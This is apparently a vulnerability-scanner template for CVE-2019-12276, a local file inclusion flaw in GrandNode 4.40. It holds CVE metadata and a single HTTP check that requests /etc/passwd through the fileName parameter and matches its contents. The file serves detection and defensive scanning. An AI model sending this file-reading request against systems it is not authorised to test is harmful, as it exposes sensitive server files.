id: CVE-2019-12276

info:
  name: GrandNode 4.40 - Local File Inclusion
  author: daffainfo
  severity: high
  description: |
    GrandNode 4.40 is susceptible to local file inclusion in Controllers/LetsEncryptController.cs, which allows remote unauthenticated attackers to retrieve arbitrary files on the web server via specially crafted LetsEncrypt/Index?fileName= HTTP requests.
  reference:
    - https://security401.com/grandnode-path-traversal/
    - https://grandnode.com
    - https://github.com/grandnode/grandnode
    - https://nvd.nist.gov/vuln/detail/CVE-2019-12276
  remediation: |
    A patch for this issue was made on 2019-05-30 in GrandNode 4.40.
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2019-12276
    cwe-id: CWE-22
  tags: cve,cve2019,lfi,grandnode
  metadata:
    max-request: 1

http:
  - method: GET
    path:
      - "{{BaseURL}}/LetsEncrypt/Index?fileName=/etc/passwd"
    headers:
      Connection: close

    matchers-condition: and
    matchers:

      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200

# Enhanced by mp on 2022/06/15